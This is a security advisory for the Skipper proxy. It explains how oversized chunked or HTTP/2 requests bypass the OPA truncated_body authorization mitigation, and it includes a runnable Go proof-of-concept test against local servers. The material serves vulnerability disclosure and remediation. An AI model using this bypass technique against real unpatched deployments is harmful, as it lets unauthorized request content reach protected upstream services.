GHSA-5gpm-rgj3-9q76

Suggest an improvement
Source
https://github.com/advisories/GHSA-5gpm-rgj3-9q76
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-5gpm-rgj3-9q76/GHSA-5gpm-rgj3-9q76.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-5gpm-rgj3-9q76
Aliases
Published
2026-09-17T17:05:57Z
Modified
2026-09-17T17:15:04Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N CVSS Calculator
Summary
Skipper has OPA body-authz bypass: truncated_body mitigation fails open on chunked/HTTP-2 (incomplete fix GHSA-8qqm-fp2q-v734)
Details
  • Affected component: filters/openpolicyagent/openpolicyagent.goExtractHttpBodyOptionally; combined with github.com/open-policy-agent/opa-envoy-plugin envoyauth/request.gogetParsedBody / checkIfHTTPBodyTruncated. Filter: opaAuthorizeRequestWithBody.
  • Affected versions: <= 0.27.33 (current HEAD e7d7014c). The truncated_body mitigation was introduced/recommended in v0.27.26 (advisory GHSA-8qqm-fp2q-v734) and remains bypassable.
  • Fix chain being audited: CVE-2026-50197 (GHSA-659f-rgp5-w4wf, commit 3152f3b0) → GHSA-8qqm-fp2q-v734 (docs + code, commit 1be950cd #4126, v0.27.26). This finding is the third, still-open variant.

Summary

Skipper's opaAuthorizeRequestWithBody filter authorizes requests by handing the (bounded) request body to Open Policy Agent. When a body exceeds -open-policy-agent-max-request-body-size (default 1 MB), Skipper truncates it before OPA sees it. Advisory GHSA-8qqm-fp2q-v734 established that deny-on-presence / body-inspecting policies fail OPEN on oversized bodies, and its remediation instructs policy authors to guard on input.attributes.request.http.truncated_body (implemented as the top-level input.truncated_body):

default allow := false
allow if {
    input.truncated_body == false
    # ... body-based conditions
}

That mitigation is itself incomplete. The truncated_body flag is computed by the OPA envoy plugin only when a content-length header is present. A request sent with Transfer-Encoding: chunked (HTTP/1.1) or over HTTP/2 carries no content-length, so truncated_body is left false even though Skipper truncated the body. The mitigated policy therefore evaluates input.truncated_body == false as true and ALLOWS the request, while the full, un-inspected oversized payload is forwarded to the upstream (Skipper's bufferedBodyReader streams the buffered prefix and then continues draining the original body).

The transport that defeats the mitigation — chunked / HTTP-2 without Content-Length — is the exact transport class the original CVE-2026-50197 was about; the GHSA-8qqm fix closed the declared-Content-Length variant and its positive-control test only exercised small chunked bodies, never oversized chunked bodies.

Root cause

opa-envoy-plugin/envoyauth/request.go:

func getParsedBody(...) (any, bool, error) {
    if val, ok := headers["content-type"]; ok {
        if strings.Contains(val, "application/json") {
            ...
            if val, ok := headers["content-length"]; ok {          // <-- only path that sets truncation
                truncated, err := checkIfHTTPBodyTruncated(val, int64(len(body)))
                ...
                if truncated { return nil, true, nil }
            }
            ...
        } else if ... "application/x-www-form-urlencoded" { /* same content-length gate */ }
          else if ... "multipart/form-data"            { /* same content-length gate */ }
    }
    return data, false, nil     // <-- no content-length  ==> truncated_body = false
}

func checkIfHTTPBodyTruncated(contentLength string, bodyLength int64) (bool, error) {
    cl, _ := strconv.ParseInt(contentLength, 10, 64)
    if cl != -1 && cl > bodyLength { return true, nil }
    return false, nil
}

Truncation can only ever be signalled by comparing content-length against the received body length. With chunked/HTTP-2 there is no content-length, so the comparison is skipped and truncated_body is reported false. Skipper (ExtractHttpBodyOptionally) meanwhile does truncate the chunked body to maxBodyBytes (it sets expectedSize = maxBodyBytes when req.ContentLength < 0), producing the exact divergence: OPA is told "not truncated", but the body was truncated, and the backend receives the whole thing.

Reachability

  1. Deployment runs opaAuthorizeRequestWithBody with a body-inspecting policy that follows the GHSA-8qqm mitigation (allow if input.truncated_body == false). This is the maintainer-recommended configuration (advisory + v0.27.26 docs).
  2. Attacker sends a request whose body exceeds max-request-body-size using Transfer-Encoding: chunked (or HTTP/2). No content-length header is present.
  3. ExtractHttpBodyOptionally reads/truncates the body to maxBodyBytes; rawBody is the truncated prefix.
  4. AdaptToExtAuthRequest forwards the lowercased headers (no content-length) and the truncated RawBody to OPA.
  5. getParsedBody finds no content-lengthtruncated_body = false; for a non-parsed content-type it also returns parsed_body = null with no error.
  6. Policy: input.truncated_body == false is satisfied → allow = true.
  7. Skipper forwards the request; bufferedBodyReader.Read serves the buffered prefix and then continues reading the original req.Body, delivering the full oversized payload to the upstream.

Every guard on the path is accounted for: the only "guard" is truncated_body, and it is defeated by omitting content-length.

Impact

Bypass of OPA request-body authorization for any deployment that adopted the official truncated_body mitigation. Requests that the policy is meant to reject (oversized / un-inspectable bodies, or bodies whose forbidden content lies beyond the inspection window) are authorized and forwarded in full to the protected upstream. Same security property and severity class as CVE-2026-50197 / GHSA-8qqm (both High).

CVSS 3.1

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N = 7.5 High

  • AV:N — remote HTTP request.
  • AC:L — single crafted request; no race/special conditions (just chunked framing + padding).
  • PR:N / UI:N — unauthenticated, no user interaction.
  • S:U — impact within the authorized component/upstream trust scope.
  • C:N — no direct disclosure by the bypass itself.
  • I:H — authorization control is bypassed; forbidden request content reaches the upstream (integrity of the access-control decision / protected resource).
  • A:N — not primarily an availability issue.

(Conditional: exploitable only where opaAuthorizeRequestWithBody is used with a truncated_body-gated policy — i.e. deployments that followed the GHSA-8qqm mitigation. Consistent with the conditional nature of the parent CVEs.)

Proof of Concept

Executable Go test added to the OPA filter package. It stands up a real Skipper proxy (proxy.WithParams) + a real OPA control plane (opasdktest) with WithMaxRequestBodyBytes(32) and the advisory's verbatim mitigation policy (allow if input.truncated_body == false), routed to a recording upstream.

  • Positive control — oversized body with Content-Lengthtruncated_body=true403 (mitigation works).
  • Bypass — identical oversized body sent chunked (no Content-Length) → truncated_body=false200, and the upstream receives the full 66-byte payload past the 32-byte inspection cap.

Command and observed benign output:

$ go test ./filters/openpolicyagent/ -run TestTruncatedBodyChunkedBypass -count=1 -v

    poc_truncated_body_chunked_test.go:148: [content-length ] status=403 upstream_body_bytes=-1
    poc_truncated_body_chunked_test.go:154: [chunked        ] status=200 upstream_body_bytes=66
--- PASS: TestTruncatedBodyChunkedBypass (0.11s)
PASS
  • content-length variant → 403, upstream received nothing (-1) — mitigation works.
  • chunked variant (byte-identical body) → 200, upstream received the full 66-byte payload past the 32-byte cap — authorization bypass.

(Full PoC source is appended below by the submission tool via --poc-file.)

Adversarial re-read (refutation attempts)

  • "Truncated JSON just fails to parse → fail closed." True for application/json when truncation lands mid-token, but the bypass does not rely on JSON: application/x-www-form-urlencoded parses leniently after truncation, and unparsed/absent content-types return (nil, false, nil) with no error. The load-bearing signal is truncated_body, not parsed_body, and it is false in all these cases.
  • "Maybe Skipper adds a content-length for chunked before OPA sees it." No — AdaptToExtAuthRequest copies req.Header verbatim (lowercased); a chunked request has no content-length header, and net/http does not synthesise one. Confirmed by reading skipperadapter.go.
  • "Maybe the mitigation is deny if truncated_body == true (allow-by-default), which is unaffected." Both shapes in the advisory rely on truncated_body correctly reflecting truncation; the deny-if shape simply fails to deny under the same chunked condition. The allow-if shape (shown) fails open directly.
  • "Is this already covered by CVE-2026-50197?" No. 50197 was the empty-body chunked bypass (OPA saw no body); its fix makes OPA see the truncated prefix. GHSA-8qqm was the declared-Content-Length oversized variant; its fix populates parsed_body and recommends truncated_body. Neither addresses truncated_body being unset for chunked/HTTP-2 oversized bodies. The 8qqm positive-control test only used small chunked bodies.

Result: survives refutation; concrete, reproducible bypass of the published mitigation. Differentiation check passes (incomplete-fix of a published advisory, not a generic surface bug).

Remediation

Do not rely on the client-supplied content-length header to detect truncation. Skipper should signal truncation authoritatively to OPA rather than delegating to the plugin's Content-Length heuristic. Concretely, in ExtractHttpBodyOptionally, detect that the underlying body still has bytes after maxBodyBytes were buffered (e.g. attempt one more read / peek) and propagate a definitive truncation indicator — for example by setting a synthetic content-length (or a dedicated context extension / metadata field) that reflects the real truncation state, so input.truncated_body is true whenever the body was actually cut, regardless of transfer encoding. Alternatively, reject (413) requests whose body exceeds maxBodyBytes when body-based authorization is enabled, instead of silently truncating. Upstream, opa-envoy-plugin should treat "body present but not fully inspectable and no content-length" as truncated rather than defaulting to false.

Confidence

High. Root cause verified in both Skipper and the pinned opa-envoy-plugin@v1.14.1-envoy source; executable PoC demonstrates the status/upstream-body divergence against the maintainer's own recommended mitigation.

Proof-of-Concept source (poc_truncated_body_chunked_test.go)

package openpolicyagent_test

import (
	"fmt"
	"io"
	"net/http"
	"net/http/httptest"
	"strings"
	"sync/atomic"
	"testing"
	"time"

	opasdktest "github.com/open-policy-agent/opa/v1/sdk/test"
	"github.com/stretchr/testify/assert"
	"github.com/zalando/skipper/eskip"
	"github.com/zalando/skipper/filters"
	"github.com/zalando/skipper/filters/builtin"
	"github.com/zalando/skipper/filters/openpolicyagent"
	"github.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest"
	"github.com/zalando/skipper/proxy"
	"github.com/zalando/skipper/routing"
	"github.com/zalando/skipper/routing/testdataclient"
)

// TestTruncatedBodyChunkedBypass demonstrates that the GHSA-8qqm-fp2q-v734
// mitigation ("check input.truncated_body in your policy") fails OPEN when the
// oversized request is sent with Transfer-Encoding: chunked (no Content-Length).
//
// The mitigation Rego (verbatim from the advisory):
//
//	default allow := false
//	allow if { input.truncated_body == false }
//
// truncated_body is derived by the OPA envoy plugin ONLY when a content-length
// header is present (opa-envoy-plugin envoyauth/request.go getParsedBody ->
// checkIfHTTPBodyTruncated). A chunked / HTTP-2 request carries no
// content-length, so truncated_body stays false even though Skipper truncated
// the body to max-request-body-size. The mitigated policy therefore ALLOWS an
// oversized body and the full payload reaches upstream.
func TestTruncatedBodyChunkedBypass(t *testing.T) {
	const maxBody = 32
	// oversized url-encoded payload: "a=" + 64 * "A" = 66 bytes > 32.
	payload := "a=" + strings.Repeat("A", 64)

	// upstream records how many body bytes it actually received.
	var upstreamBytes atomic.Int64
	backend := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		n, _ := io.Copy(io.Discard, r.Body)
		upstreamBytes.Store(n)
		w.WriteHeader(200)
		w.Write([]byte("OK"))
	}))
	defer backend.Close()

	bundleName := "test-bundle"
	opaControlPlane := opasdktest.MustNewServer(
		opasdktest.MockBundle("/bundles/"+bundleName, map[string]string{
			// The exact mitigation the advisory recommends.
			"main.rego": `
package envoy.authz

import rego.v1

default allow := false

allow if {
    input.truncated_body == false
}
`,
		}),
	)
	defer opaControlPlane.Stop()

	config := fmt.Appendf(nil, `{
		"services": {"test": {"url": %q}},
		"bundles": {"test": {"resource": "/bundles/{{ .bundlename }}"}},
		"labels": {"environment": "test"},
		"plugins": {"envoy_ext_authz_grpc": {"path": "envoy/authz/allow", "dry-run": false}}
	}`, opaControlPlane.URL())

	opaRegistry, err := openpolicyagent.NewOpenPolicyAgentRegistry(
		openpolicyagent.WithPreloadingEnabled(true),
		openpolicyagent.WithEnableDataPreProcessingOptimization(true),
		openpolicyagent.WithInstanceStartupTimeout(5*time.Second),
		openpolicyagent.WithMaxRequestBodyBytes(maxBody),
		openpolicyagent.WithOpenPolicyAgentInstanceConfig(
			openpolicyagent.WithConfigTemplate(config)),
	)
	if err != nil {
		t.Fatalf("opaRegistry: %v", err)
	}
	defer opaRegistry.Close()

	fr := make(filters.Registry)
	fr.Register(opaauthorizerequest.NewOpaAuthorizeRequestWithBodySpec(opaRegistry))
	fr.Register(builtin.NewSetPath())

	docFmt := `r1: * -> opaAuthorizeRequestWithBody("%s") -> "%s";`
	r := eskip.MustParse(fmt.Sprintf(docFmt, bundleName, backend.URL))
	dc := testdataclient.New(r)
	defer dc.Close()

	rt := routing.New(routing.Options{
		FilterRegistry:  fr,
		DataClients:     []routing.DataClient{dc},
		PreProcessors:   []routing.PreProcessor{opaRegistry.NewPreProcessor()},
		PostProcessors:  []routing.PostProcessor{opaRegistry},
		PollTimeout:     time.Second,
		SignalFirstLoad: true,
	})
	defer rt.Close()
	<-rt.FirstLoad()

	pr := proxy.WithParams(proxy.Params{Routing: rt})
	defer pr.Close()
	ts := httptest.NewServer(pr)
	defer ts.Close()

	inst, err := opaRegistry.GetOrStartInstance(bundleName)
	assert.NoError(t, err)
	assert.NotNil(t, inst)

	doReq := func(chunked bool) (int, int64) {
		upstreamBytes.Store(-1)
		req, err := http.NewRequest("POST", ts.URL, strings.NewReader(payload))
		if err != nil {
			t.Fatalf("new request: %v", err)
		}
		req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
		if chunked {
			// Force chunked framing: no Content-Length reaches the server,
			// so the server sees req.ContentLength == -1.
			req.ContentLength = -1
			req.TransferEncoding = []string{"chunked"}
		}
		rsp, err := ts.Client().Do(req)
		if err != nil {
			t.Fatalf("do: %v", err)
		}
		io.Copy(io.Discard, rsp.Body)
		rsp.Body.Close()
		return rsp.StatusCode, upstreamBytes.Load()
	}

	// POSITIVE CONTROL: oversized body WITH Content-Length.
	// truncated_body == true  -> policy denies. Mitigation works as designed.
	clStatus, clUpstream := doReq(false)
	t.Logf("[content-length ] status=%d upstream_body_bytes=%d", clStatus, clUpstream)
	assert.Equal(t, 403, clStatus, "oversized body with Content-Length must be DENIED (mitigation working)")

	// BYPASS: identical oversized body sent CHUNKED (no Content-Length).
	// truncated_body == false -> policy ALLOWS -> full payload reaches upstream.
	chStatus, chUpstream := doReq(true)
	t.Logf("[chunked        ] status=%d upstream_body_bytes=%d", chStatus, chUpstream)

	assert.Equal(t, 200, chStatus, "BYPASS: oversized chunked body was ALLOWED by the truncated_body mitigation")
	assert.Equal(t, int64(len(payload)), chUpstream,
		"BYPASS: upstream received the FULL oversized payload past OPA authorization")
}

Database specific
{
    "cwe_ids":  [
        "CWE-863"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-09-17T17:05:57Z",
    "nvd_published_at":  "2026-09-16T19:17:51Z",
    "severity":  "HIGH"
}
References

Affected packages

Go / github.com/zalando/skipper

Package

Name
github.com/zalando/skipper
View open source insights on deps.dev
Purl
pkg:golang/github.com/zalando/skipper

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.27.37

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-5gpm-rgj3-9q76/GHSA-5gpm-rgj3-9q76.json"